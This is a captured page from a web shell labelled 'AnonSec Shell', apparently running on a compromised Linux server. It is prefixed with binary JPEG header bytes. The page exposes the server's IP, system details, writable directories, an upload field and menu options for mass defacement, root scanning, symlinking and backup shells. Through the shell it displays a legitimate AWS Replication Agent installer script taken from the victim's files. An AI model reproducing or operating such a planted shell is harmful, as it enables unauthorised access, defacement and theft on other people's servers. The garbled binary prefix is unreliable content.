JFIF  H H C nxxd C "     &    !1A2Q"aqBb    1   ? R{~ ,.Y| @sl_޸s[+6ϵG};?2Y`&9LP ?3rj  "@V]:3T -G*P ( *(@AEY]qqqALn +Wtu?)l QU T* Aj- x:˸T u53Vh @PS@ ,i,!"\hPw+E@ ηnu ڶh% (Lvũbb- ?M֍݌٥IHln㏷L(6 9L^"6P  d&1H&8@TUT CJ%eʹFTj4i5=0g J &Wc+3kU@PS@HH33M * "Uc(\`F+b{RxWGk ^#Uj*v' V ,FYKɠMckZٸ]ePP  d\A2glo=WL(6 ^;k"ucoH"b ,PDVlvL_/:̗rN\m dcw T-O$w+FZ5T *Y~l: 99U)8ZAt@GLX*@bijqW;MᎹ،O[5*5*@=qusݝ *EPx՝.~ YИ 3M3@E)GTg%Anp P MUҀhԳW c֦iZ ffR 7qMcyAZT c0bZU k+oG<] APQ T A={PDti@c>>KÚ"q L.1P k6QY7t.k7o  <P &yַܼJZy Wz{UrS @ ~P)Y:A"]Y&ScVO%17 6l4 i4YR5 ruk* ؼdZͨZZ cLakb3N6æ\1`XTloTuT AA 7Uq@2ŬzoʼnБRͪ&8}: e}0ZNΖJ*Ս9˪ޘtao]7$ 9EjS} qt" ( .=Y:V#'H: δ4#6yjѥBB ;WD-ElFf67*\AmAD Q __'2$ TX 9nu'm@iPDT qS`%u%3[nY,  :g = tiX H]ij"+6Z* .~|05s6 ,ǡ ogm+ KtE-BF  ES@(UJ xM~8%g/= Vw[Vh 3lJT  rK -kˎY ٰ  ,ukͱٵf sXDP  ]p]&MS95O+j &f6m463@ t8ЕX=6}HR 5ٶ06 /@嚵*6  " hP@eVDiYQT `7tLf4c?m//B4 laj  L} :E  b#PHQb, yN`rkAb^ |} s4XB4 * ,@[{Ru+%le2} `,kI$U` >OMuh  P % ʵ/ L\5aɕVN1R6 3}ZLj-Dl@ *( K\^i@F@551 k㫖h  Q沬#h XV +;]6z OsFpiX $OQ ) ųl4 YtK'(W AnonSec Shell
AnonSec Shell
Server IP : 20.75.53.88  /  Your IP : 216.73.217.165   [ Reverse IP ]
Web Server : Apache
System : Linux VMRALP-3 4.4.0-256-generic #290~14.04.1-Ubuntu SMP Thu Jun 20 09:24:50 UTC 2024 x86_64
User : www-data ( 33)
PHP Version : 5.5.9-1ubuntu4.29+esm15
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,
Domains : 3 Domains
MySQL : ON  |  cURL : OFF  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/disk_so_ralp/home/ralp/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     [ BACKUP SHELL ]     [ JUMPING ]     [ MASS DEFACE ]     [ SCAN ROOT ]     [ SYMLINK ]     

Current File : /var/www/disk_so_ralp/home/ralp/aws-replication-installer-init.py
#!/usr/bin/env python
# This script should be run via sudo.


import hashlib
import json
import time
import logging
import os
import shutil
import socket
import stat
import subprocess
import sys
import tempfile
from types import TracebackType

from optparse import OptionParser, BadOptionError, Values, SUPPRESS_HELP

try:
    from typing import List, Any, Optional, Dict, Type, Callable
except ImportError:
    pass

logging.basicConfig(format="%(message)s", level=logging.INFO, stream=sys.stdout)

INSTALLER_LINUX_FILENAME_64 = "aws-replication-installer-64bit"
INSTALLER_BUCKET_MAP = """{"af-south-1": ["aws-application-migration-service-af-south-1", "aws-application-migration-service-hashes-af-south-1", "latest"], "ap-east-1": ["aws-application-migration-service-ap-east-1", "aws-application-migration-service-hashes-ap-east-1", "latest"], "ap-east-2": ["aws-application-migration-service-ap-east-2", "aws-application-migration-service-hashes-ap-east-2", "latest"], "ap-northeast-1": ["aws-application-migration-service-ap-northeast-1", "aws-application-migration-service-hashes-ap-northeast-1", "latest"], "ap-northeast-2": ["aws-application-migration-service-ap-northeast-2", "aws-application-migration-service-hashes-ap-northeast-2", "latest"], "ap-northeast-3": ["aws-application-migration-service-ap-northeast-3", "aws-application-migration-service-hashes-ap-northeast-3", "latest"], "ap-south-1": ["aws-application-migration-service-ap-south-1", "aws-application-migration-service-hashes-ap-south-1", "latest"], "ap-south-2": ["aws-application-migration-service-ap-south-2", "aws-application-migration-service-hashes-ap-south-2", "latest"], "ap-southeast-1": ["aws-application-migration-service-ap-southeast-1", "aws-application-migration-service-hashes-ap-southeast-1", "latest"], "ap-southeast-2": ["aws-application-migration-service-ap-southeast-2", "aws-application-migration-service-hashes-ap-southeast-2", "latest"], "ap-southeast-3": ["aws-application-migration-service-ap-southeast-3", "aws-application-migration-service-hashes-ap-southeast-3", "latest"], "ap-southeast-4": ["aws-application-migration-service-ap-southeast-4", "aws-application-migration-service-hashes-ap-southeast-4", "latest"], "ap-southeast-5": ["aws-application-migration-service-ap-southeast-5", "aws-application-migration-service-hashes-ap-southeast-5", "latest"], "ap-southeast-6": ["aws-application-migration-service-ap-southeast-6", "aws-application-migration-service-hashes-ap-southeast-6", "latest"], "ap-southeast-7": ["aws-application-migration-service-ap-southeast-7", "aws-application-migration-service-hashes-ap-southeast-7", "latest"], "ca-central-1": ["aws-application-migration-service-ca-central-1", "aws-application-migration-service-hashes-ca-central-1", "latest"], "ca-west-1": ["aws-application-migration-service-ca-west-1", "aws-application-migration-service-hashes-ca-west-1", "latest"], "eu-central-1": ["aws-application-migration-service-eu-central-1", "aws-application-migration-service-hashes-eu-central-1", "latest"], "eu-central-2": ["aws-application-migration-service-eu-central-2", "aws-application-migration-service-hashes-eu-central-2", "latest"], "eu-north-1": ["aws-application-migration-service-eu-north-1", "aws-application-migration-service-hashes-eu-north-1", "latest"], "eu-south-1": ["aws-application-migration-service-eu-south-1", "aws-application-migration-service-hashes-eu-south-1", "latest"], "eu-south-2": ["aws-application-migration-service-eu-south-2", "aws-application-migration-service-hashes-eu-south-2", "latest"], "eu-west-1": ["aws-application-migration-service-eu-west-1", "aws-application-migration-service-hashes-eu-west-1", "latest"], "eu-west-2": ["aws-application-migration-service-eu-west-2", "aws-application-migration-service-hashes-eu-west-2", "latest"], "eu-west-3": ["aws-application-migration-service-eu-west-3", "aws-application-migration-service-hashes-eu-west-3", "latest"], "il-central-1": ["aws-application-migration-service-il-central-1", "aws-application-migration-service-hashes-il-central-1", "latest"], "me-central-1": ["aws-application-migration-service-me-central-1", "aws-application-migration-service-hashes-me-central-1", "latest"], "me-south-1": ["aws-application-migration-service-me-south-1", "aws-application-migration-service-hashes-me-south-1", "latest"], "mx-central-1": ["aws-application-migration-service-mx-central-1", "aws-application-migration-service-hashes-mx-central-1", "latest"], "sa-east-1": ["aws-application-migration-service-sa-east-1", "aws-application-migration-service-hashes-sa-east-1", "latest"], "us-east-1": ["aws-application-migration-service-us-east-1", "aws-application-migration-service-hashes-us-east-1", "latest"], "us-east-2": ["aws-application-migration-service-us-east-2", "aws-application-migration-service-hashes-us-east-2", "latest"], "us-gov-east-1": ["aws-application-migration-service-us-gov-east-1", "aws-application-migration-service-hashes-us-gov-east-1", "latest"], "us-gov-west-1": ["aws-application-migration-service-us-gov-west-1", "aws-application-migration-service-hashes-us-gov-west-1", "latest"], "us-west-1": ["aws-application-migration-service-us-west-1", "aws-application-migration-service-hashes-us-west-1", "latest"], "us-west-2": ["aws-application-migration-service-us-west-2", "aws-application-migration-service-hashes-us-west-2", "latest"]}"""
DOCS_LINK = "https://docs.aws.amazon.com/mgn/latest/ug/Troubleshooting-Agent-Issues.html#Error-Installation-Failed"
INSTALLER_VERSION = "1.0.0"
SERVICE = "mgn"
BUILD_REVISION = "217d65e3e61f7f6c869eb98e79acea84bd538a47"


# if python2.
if sys.version_info[0] == 2:
    _input = raw_input

    from urllib2 import HTTPError
    import urllib2 as urllib_request

    def get_arch():
        if sys.maxint > (2 ** 31):
            return 64
        else:
            return 32


else:
    _input = input

    import struct
    from urllib import request as urllib_request
    from urllib.error import HTTPError

    def get_arch():
        if struct.calcsize("P") * 8 == 64:
            return 64
        else:
            return 32


def get_help_text():
    if SERVICE == "drs":
        return """
usage: %s [-h]
                                       [--aws-access-key-id AWS_ACCESS_KEY_ID]
                                       [--aws-secret-access-key AWS_SECRET_ACCESS_KEY]
                                       [--aws-session-token AWS_SESSION_TOKEN]
                                       [--region REGION] [--no-prompt]
                                       [--force-volumes] [--devices DEVICES]
                                       [--endpoint ENDPOINT]
                                       [--s3-endpoint S3_ENDPOINT]
                                       [--tags KEY=VALUE [KEY=VALUE ...]]
                                       [--proxy-address ADDRESS]
                                       [--account-id ACCOUNT_ID]

optional arguments:
  -h, --help            show this help message and exit
  --aws-access-key-id AWS_ACCESS_KEY_ID
                        The AWS Access Key ID you generated when creating an
                        IAM User for installing the AWS Replication Agent or
                        when creating temporary credentials.
  --aws-secret-access-key AWS_SECRET_ACCESS_KEY
                        The AWS Secret Access Key you generated when creating
                        an IAM User for installing the AWS Replication Agent
                        or when creating temporary credentials.
  --aws-session-token AWS_SESSION_TOKEN
                        The AWS session token generated when creating
                        temporary credentials.
  --region REGION       Name of the AWS Region into which you want to migrate
                        your source server in the standard format (For
                        example: us-east-1)
  --no-prompt           This parameter will run a non-interactive
                        installation.
  --force-volumes       This parameter must be used with the --no-prompt
                        parameter. This parameter will cancel the automatic
                        detection of physical disks to replicate. You will
                        need to specify the exact disks to replicate using the
                        --devices parameter.
  --devices DEVICES, --drives DEVICES
                        This parameter specifies which specific disks to
                        replicate. This parameter does not function when your
                        Source servers are located in AWS. Devices are
                        separated by commas. For example: /dev/sda, /dev/sdb.
                        It is required when --no-prompt and --force-volumes
                        are present.
  --endpoint ENDPOINT   Use this parameter to specify the Private Link
                        endpoint you created for Elastic Disaster Recovery
                        if you do not wish to open your firewall ports to
                        access the default Elastic Disaster Recovery
                        endpoint.
  --s3-endpoint S3_ENDPOINT
                        Use this parameter to specify a VPC endpoint you
                        created for S3 if you do not wish to open your
                        firewall ports to access the default S3 endpoint. Used
                        only during the installation process.
  --install-as-recovery-instance SOURCE_SERVER
                        Use this parameter to install the AWS Replication
                        Agent on this server in order to convert it into a
                        Recovery instance. Enter the name of the source server
                        that you want to associate this Recovery instance with
                        (For example: s-123456789012345).
  --tags KEY=VALUE [KEY=VALUE ...]
                        Use this parameter to add resource tags to the Source
                        server. Use a space to separate each tag (For example
                        --tags tag1=val1 tag2=val2 tag3=val3)
                        Note: This flag may only be used when adding new source servers to DRS.
                        You cannot use the --tags flag to modify tags of existing servers.
  --proxy-address ADDRESS
                        Use this parameter to pass a proxy address if you are
                        using one in your setup, the format should be http[s]://PROXY:PORT/.
  --account-id ACCOUNT_ID
                        Id of the account into which you want to replicate your source server.
                        This action requires an EC2 instance profile with the
                        AWSElasticDisasterRecoveryEc2InstancePolicy policy.

"""
    else:
        return """
usage: %s [-h]
                                       [--aws-access-key-id AWS_ACCESS_KEY_ID]
                                       [--aws-secret-access-key AWS_SECRET_ACCESS_KEY]
                                       [--aws-session-token AWS_SESSION_TOKEN]
                                       [--region REGION] [--no-prompt]
                                       [--force-volumes] [--devices DEVICES]
                                       [--endpoint ENDPOINT]
                                       [--s3-endpoint S3_ENDPOINT]
                                       [--tags KEY=VALUE [KEY=VALUE ...]]
                                       [--proxy-address ADDRESS]

optional arguments:
  -h, --help            show this help message and exit
  --aws-access-key-id AWS_ACCESS_KEY_ID
                        The AWS Access Key ID you generated when creating an IAM User for installing the
                        AWS Replication Agent or when creating temporary credentials.
  --aws-secret-access-key AWS_SECRET_ACCESS_KEY
                        The AWS Secret Access Key you generated when creating an IAM User for installing the
                        AWS Replication Agent or when creating temporary credentials.
  --aws-session-token AWS_SESSION_TOKEN
                        The AWS session token generated when creating temporary credentials.
  --region REGION       Name of the AWS Region into which you want to migrate your source server in the standard
                        format (For example: us-east-1)
  --no-prompt           This parameter will run a non-interactive installation.
  --force-volumes       This parameter must be used with the --no-prompt parameter. This parameter will cancel the
                        automatic detection of physical disks to replicate. You will need to specify the exact
                        disks to replicate using the --devices parameter.
  --devices DEVICES
                        This parameter specifies which specific disks to replicate. This parameter does not
                        function when your Source servers are located in AWS. Devices are separated by commas. For
                        example: /dev/sda,/dev/sdb. It is required when --no-prompt and --force-volumes are
                        present.
  --endpoint ENDPOINT   Use this parameter to specify the Private Link endpoint you created for Application
                        Migration Service if you do not wish to open your firewall ports to access the default
                        Application Migration Service endpoint.
  --s3-endpoint S3_ENDPOINT
                        Use this parameter to specify a VPC endpoint you created for S3 if you do not wish to open
                        your firewall ports to access the default S3 endpoint. Used only during the installation
                        process.
  --tags KEY=VALUE [KEY=VALUE ...]
                        Use this parameter to add resource tags to the Source server. Use a space to separate each
                        tag (For example --tags tag1=val1 tag2=val2 tag3=val3)
                        Note: This flag may only be used when adding new source servers to MGN. You cannot use the
                        --tags flag to modify tags of existing servers.
  --proxy-address ADDRESS
                        Use this parameter to pass a proxy address if you are using one in your setup,
                        the format should be http[s]://PROXY:PORT/.
  --user-provided-id USER_PROVIDED_ID
                        Use this parameter to provide a name to the source server about to
                        be created or identify source server to be updated.
"""


class CustomOptionParser(OptionParser):
    def _process_long_opt(self, rargs, values):
        try:
            OptionParser._process_long_opt(self, rargs, values)
        except BadOptionError:
            pass

    def _process_short_opts(self, rargs, values):
        try:
            OptionParser._process_short_opts(self, rargs, values)
        except BadOptionError:
            pass

    def print_help(self, file=None):
        script_name = os.path.basename(__file__)

        logging.info(get_help_text(), script_name)


# Though it would be cleaner to use namedtuple here, python 2.4 does not support it, so we use a class
class DF(object):  # pylint: disable=too-few-public-methods
    def __init__(self, filesystem, blocks, used, available, capacity, mounted_on):
        self.filesystem = filesystem
        self.blocks = blocks
        self.used = used
        self.available = available
        self.capacity = capacity
        self.mounted_on = mounted_on


REQUIRED_DISK_SPACE = 500 * 1024 * 1024


class DownloadError(Exception):
    def __init__(self, url, code, reason):
        self.url = url
        self.code = code
        self.reason = reason

    @property
    def message(self):
        return "Failed to download {url}, code: {code}, reason: {reason}".format(url=self.url, code=self.code, reason=self.reason)


class HashMismatchError(Exception):
    def __init__(self, file):
        self.file = file

    @property
    def message(self):
        return "Failed to verify the contents of {file}".format(file=self.file)


class AssetDownloader(object):
    DOWNLOAD_METHOD_URLLIB = 0
    DOWNLOAD_METHOD_REQUESTS = 1

    def __init__(
        self,
        bucket_map,
        region,
        force_built_version,
        s3_endpoint,
        os_prefix,
        installer_filename,
        download_method,
        is_dualstack=False,
    ):
        self.os_prefix = os_prefix
        self.installer_filename = installer_filename
        self.installer_account = bucket_map.get("installer_account_{region}".format(region=region))
        self.bucket_name, self.hash_bucket_name, self.bucket_path = bucket_map[region]
        self.force_built_version = force_built_version
        self.is_dualstack = is_dualstack

        s3_region = bucket_map.get("s3_region", region)
        s3_host = get_s3_host(is_dualstack=self.is_dualstack)

        self.netloc = "{bucket_name}.{s3_host}.{s3_region}.amazonaws.com".format(
            bucket_name=self.bucket_name,
            s3_host=s3_host,
            s3_region=s3_region,
        )
        self.hash_netloc = "{hash_bucket_name}.{s3_host}.{s3_region}.amazonaws.com".format(
            hash_bucket_name=self.hash_bucket_name,
            s3_host=s3_host,
            s3_region=s3_region,
        )
        self.s3_endpoint = s3_endpoint
        self.download_method = download_method

    def __enter__(self):
        if self.s3_endpoint is None:
            return self

        self.original_getaddrinfo = socket.getaddrinfo

        def getaddrinfo(hostname, *args):
            if hostname in [self.netloc, self.hash_netloc]:
                return self.original_getaddrinfo(self.s3_endpoint, *args)  # type: ignore
            else:
                return self.original_getaddrinfo(hostname, *args)  # type: ignore

        socket.getaddrinfo = getaddrinfo  # type: ignore
        return self

    def __exit__(self, exc_type, exc_value, traceback):
        if self.s3_endpoint is None:
            return
        socket.getaddrinfo = self.original_getaddrinfo

    def _download_with_requests(self, url, headers, timeout=60):
        # We import here because requests might not be available (in the uncompiled script version)
        import requests

        max_retries = 5
        last_exception = None
        for attempt in range(max_retries):
            try:
                response = requests.get(url=url, headers=headers, timeout=timeout)
                if response.ok:
                    return response.content
                raise DownloadError(url=url, code=response.status_code, reason=response.reason)
            except requests.exceptions.RequestException as e:
                last_exception = e
                time.sleep(3)

        raise DownloadError(url=url, code=0, reason="Download failed after {0} attempts: {1}".format(max_retries, str(last_exception)))

    def _download_with_urllib(self, url, headers):
        max_retries = 5
        last_exception = None
        for attempt in range(max_retries):
            try:
                req = urllib_request.Request(url, headers=headers)
                content = urllib_request.urlopen(req).read()
                return content
            except HTTPError as e:
                raise DownloadError(url=url, code=e.code, reason=e.reason)
            except Exception as e:
                # Network/connection errors - retry
                last_exception = e
                time.sleep(3)

        raise DownloadError(url=url, code=0, reason="Download failed after {0} attempts: {1}".format(max_retries, str(last_exception)))

    def _download_internal(self, url):
        # MGN does not currently support bucket owner, so installer_account can be None
        if self.installer_account:
            headers = {"x-amz-expected-bucket-owner": self.installer_account}
        else:
            headers = {}

        if self.download_method == AssetDownloader.DOWNLOAD_METHOD_REQUESTS:
            # use requests, as it uses certifi out of the box, for SSL certs
            content = self._download_with_requests(url=url, headers=headers, timeout=60)
        else:
            content = self._download_with_urllib(url, headers)

        return content

    def download_asset(self, url, hash_url):
        max_retries = 10
        attempt = 0
        initial_delay = 5
        max_delay = 60
        while True:
            try:
                content = self._download_internal(url)
                content_hash = self._download_internal(hash_url)
                # Validate hash
                if hashlib.sha512(content).hexdigest().encode() != content_hash:
                    raise HashMismatchError(file=os.path.basename(url))
                return content
            except HashMismatchError as e:
                # We retry only for hash mismatch, since hash mismatch can occur during deployment.
                attempt += 1
                if attempt >= max_retries:
                    raise e
                # Exponential increase with 1.5 factor
                delay = min(initial_delay * (1.5 ** (attempt - 1)), max_delay)
                logging.info("Attempt {}/{}: {}, retrying in {} seconds".format(attempt, max_retries, e.message, int(delay)))
                time.sleep(delay)

    def download_manifest(self):
        if self.force_built_version:
            # No need to download manifest - just use this revision
            return {"installerVersion": BUILD_REVISION, "legacyInstallerVersion": BUILD_REVISION}

        manifest_url = "https://{netloc}/{bucket_path}/manifest.json".format(
            netloc=self.netloc,
            bucket_path=self.bucket_path,
        )
        manifest_hash_url = "https://{hash_netloc}/{bucket_path}/manifest.json.sha512".format(
            hash_netloc=self.hash_netloc,
            bucket_path=self.bucket_path,
        )

        manifest_content = self.download_asset(manifest_url, manifest_hash_url).decode("utf-8")
        return json.loads(manifest_content)

    def download_installer(self, version):
        installer_bucket_path = "/".join(self.bucket_path.split("/")[:-1] + [version])
        installer_url = "https://{netloc}/{bucket_path}/{os_prefix}/{filename}".format(
            netloc=self.netloc,
            bucket_path=installer_bucket_path,
            filename=self.installer_filename,
            os_prefix=self.os_prefix,
        )
        installer_hash_url = "https://{hash_netloc}/{bucket_path}/{os_prefix}/{filename}.sha512".format(
            hash_netloc=self.hash_netloc,
            bucket_path=installer_bucket_path,
            filename=self.installer_filename,
            os_prefix=self.os_prefix,
        )

        installer_content = self.download_asset(installer_url, installer_hash_url)
        with open(self.installer_filename, "wb") as f:
            f.write(installer_content)

    def get_version(self, manifest):
        manifest_key = "installerVersion"
        version = manifest.get(manifest_key)
        if version is None:
            raise Exception("Failed to get installer version from manifest")
        return version


def is_compiled_with_pyinstaller():
    return getattr(sys, "frozen", False) and hasattr(sys, "_MEIPASS")


def get_download_method():
    return AssetDownloader.DOWNLOAD_METHOD_REQUESTS if is_compiled_with_pyinstaller() else AssetDownloader.DOWNLOAD_METHOD_URLLIB


def get_s3_host(is_dualstack):
    return "s3.dualstack" if is_dualstack else "s3"


def _main(region, s3_endpoint, is_recovery_instance, is_dry_run, force_built_version, is_dualstack=False):
    logging.info("The installation of the AWS Replication Agent has started.")

    arch = get_arch()
    if arch == 32:
        logging.error("AWS Replication Agent is not supported for 32-bit architecture")
        return -1

    filename = INSTALLER_LINUX_FILENAME_64

    try:
        handle_noexec_tmp()
    except Exception:  # pylint: disable=broad-except
        pass

    doing = ""
    try:
        if not region:
            region = os.environ.get("AWS_REGION")

        while not region:
            region = _input("AWS Region Name: ").strip()

        bucket_map = json.loads(INSTALLER_BUCKET_MAP)

        doing = "checking disk free space"
        if not check_free_space(REQUIRED_DISK_SPACE):
            logging.error(
                """Installation failed.
The %s does not have enough free disk space to install the AWS Replication Agent.
Free up the required space and re-start the installation.""",
                _get_source_type_string(is_recovery_instance),
            )
            return -1
        doing = "preparing installer download url"

        if region not in bucket_map:
            logging.error("Region %s is not supported by this version of the AWS Replication Agent installer", region)
            return -1

        doing = "downloading installer"

        try:
            with AssetDownloader(
                bucket_map=bucket_map,
                region=region,
                force_built_version=force_built_version,
                s3_endpoint=s3_endpoint,
                os_prefix="linux",
                installer_filename=INSTALLER_LINUX_FILENAME_64,
                download_method=get_download_method(),
                is_dualstack=is_dualstack,
            ) as downloader:
                manifest = downloader.download_manifest()
                version = downloader.get_version(manifest)
                downloader.download_installer(version)
        except (DownloadError, HashMismatchError) as e:
            logging.error(
                """Installation failed
%s
Learn more about connectivity issues in our documentation at %s""",
                e.message,
                DOCS_LINK,
            )
            os.remove(filename)
            return -1

        doing = "preparing installer to run"
        currentStat = os.stat(filename).st_mode
        os.chmod(filename, currentStat | stat.S_IEXEC)

        doing = "running installer"

        s3_endpoint_part = ["--s3-endpoint", s3_endpoint] if s3_endpoint else []

        internal_installer_account = bucket_map.get("internal_installer_account_{region}".format(region=region))

        # If not dry run, actually run install
        if not is_dry_run:
            # PyInstaller replaces LD_LIBRARY_PATH with its own path. But before doing that, it copies it to a new variable, LD_LIBRARY_PATH_ORIG
            # Before calling the next process, we should change LD_LIBRARY_PATH back to the original (System setting), otherwise, when we attempt to
            # run further sub-processes in the main installer, we will use this processes LD_LIBRARY_PATH, which points to the PyInstaller implemented path
            # This can break sub-processes, such as yum, as the yum python implementation might expect a different version of a library file. (for example liblzma.so)
            ld_orig = os.environ.get("LD_LIBRARY_PATH_ORIG")
            if ld_orig is not None:
                os.environ["LD_LIBRARY_PATH"] = ld_orig
            else:
                os.environ.pop("LD_LIBRARY_PATH", None)
            args = [x for x in sys.argv[1:] if x not in ["--force-built-version"]]
            if internal_installer_account:
                return subprocess.call(
                    ["./" + filename] + args + ["--region", region] + s3_endpoint_part + ["--installer-bucket-account", internal_installer_account],
                    shell=False,
                )
            else:
                return subprocess.call(["./" + filename] + args + ["--region", region] + s3_endpoint_part, shell=False)

        return 0
    except:
        # We have to retrieve exception info this way due to the need to remain
        # compatible with both Python 2.4 and Python 3.12
        etype, _, _ = sys.exc_info()
        if etype is KeyboardInterrupt:
            return -1
        elif doing == "downloading installer":
            # pylint: disable=line-too-long, superfluous-parens
            logging.error(
                """Connection attempt to %s on port 443 failed.
    This is usually caused by lack of routing to AWS, firewall configuration that block the connection (local or in a firewall appliance) or an incorrect web proxy configuration on this server.
    Resolve the connectivity issue and run the installer again.
    Learn more about connectivity issues in our documentation at %s""",
                region,
                DOCS_LINK,
            )
        else:
            logging.error(
                "Error %s! Please contact AWS Support at https://console.aws.amazon.com/support", doing
            )  # pylint: disable=superfluous-parens

        logging.exception("Error details:")  # pylint: disable=superfluous-parens
        return -1
    finally:
        try:
            os.remove(filename)
        except:
            pass


def check_free_space(required):
    fs = get_fs(".")
    if not fs:
        return False
    else:
        return required <= int(fs.available) * 1024  # the fields are in 1024-blocks


def handle_noexec_tmp():
    # get tempdir
    tmpdir = tempfile.gettempdir()

    # get mountpoint of tempdir
    tmpfs = get_fs(tmpdir)
    if not tmpfs:
        return
    mountpoint = tmpfs.mounted_on

    # check fs flags for 'noexec'
    flags = ""
    f = open("/etc/mtab")
    try:
        lines = [l.split() for l in f.readlines()]
        for line in lines:
            if line[1] == mountpoint:
                flags = line[3]
                break
    finally:
        f.close()

    if "noexec" not in flags:
        return

    # tmpdir is no noexec fs, use alternate tmp dir
    alternate_tmpdir = "/var/lib/aws-replication-agent/.tmp_install"
    if os.path.isdir(alternate_tmpdir):
        shutil.rmtree(alternate_tmpdir)

    os.makedirs(alternate_tmpdir)

    for var in ["TEMP", "TMP", "TMPDIR"]:
        os.environ[var] = alternate_tmpdir


def _get_source_type_string(is_recovery_instance):
    if is_recovery_instance:
        return "recovery instance"
    else:
        return "source server"


def get_fs(directory):
    """
    get filesystem data for a directory as in 'df -P' command and parse the result
    :type directory: str
    :rtype DF # namedtuple('DF', 'filesystem blocks used available capacity mounted_on')
    """
    p = subprocess.Popen(["df", "-P", directory], stdout=subprocess.PIPE, stderr=subprocess.PIPE)
    out, _ = p.communicate()
    if p.returncode != 0:
        return None

    res = out.splitlines()[-1]  # take the last line
    return DF(*res.split())  # type: ignore


# https_proxy env. variable is used for the current installer process only (urlopen etc.).
# For the internal installer we pass proxy-address flag as is
def store_proxy_in_env(option, opt_str, value, parser):
    os.environ["https_proxy"] = value


def main():
    parser = CustomOptionParser()
    parser.add_option("--region")
    parser.add_option("--s3-endpoint")
    parser.add_option("--version", default=False, action="store_true")
    parser.add_option("--dryrun", default=False, action="store_true", help=SUPPRESS_HELP)
    parser.add_option("--proxy-address", type="string", action="callback", callback=store_proxy_in_env, default=None)
    parser.add_option("--force-built-version", default=False, action="store_true", help=SUPPRESS_HELP)
    parser.add_option(
        "--dualstack",
        default=False,
        action="store_true",
        help="Use IPv4/IPv6 dual-stack endpoints for replication traffic. Supported in most regions. See the list of service endpoints and supported regions: https://docs.aws.amazon.com/general/latest/gr/mgn.html#mgn-region",
    )

    if SERVICE == "drs":
        parser.add_option("--install-as-recovery-instance")
    else:
        parser.add_option("--user-provided-id")

    opts, _ = parser.parse_args()

    if opts.version:
        logging.info("AWS Replication Agent Installer version %s", INSTALLER_VERSION)
        sys.exit(0)

    if opts.region:
        region = opts.region.strip()
    else:
        region = None

    if opts.s3_endpoint:
        s3_endpoint = opts.s3_endpoint.strip()
    else:
        s3_endpoint = None

    is_recovery_instance = False
    if SERVICE == "drs":
        is_recovery_instance = bool(opts.install_as_recovery_instance)

    is_dry_run = bool(opts.dryrun)
    force_built_version = bool(opts.force_built_version)
    is_dualstack = bool(opts.dualstack)
    sys.exit(_main(region, s3_endpoint, is_recovery_instance, is_dry_run, force_built_version, is_dualstack))


if __name__ == "__main__":
    main()

Anon7 - 2022
AnonSec Team